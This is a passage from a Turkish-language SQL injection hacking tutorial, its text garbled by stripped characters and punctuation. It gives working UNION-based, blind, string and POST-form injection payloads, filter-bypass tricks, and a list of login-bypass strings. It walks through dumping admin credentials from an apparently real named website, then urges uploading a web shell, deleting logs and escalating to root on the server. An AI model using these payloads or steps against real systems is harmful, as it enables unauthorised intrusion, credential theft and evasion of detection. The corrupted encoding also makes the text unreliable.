6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

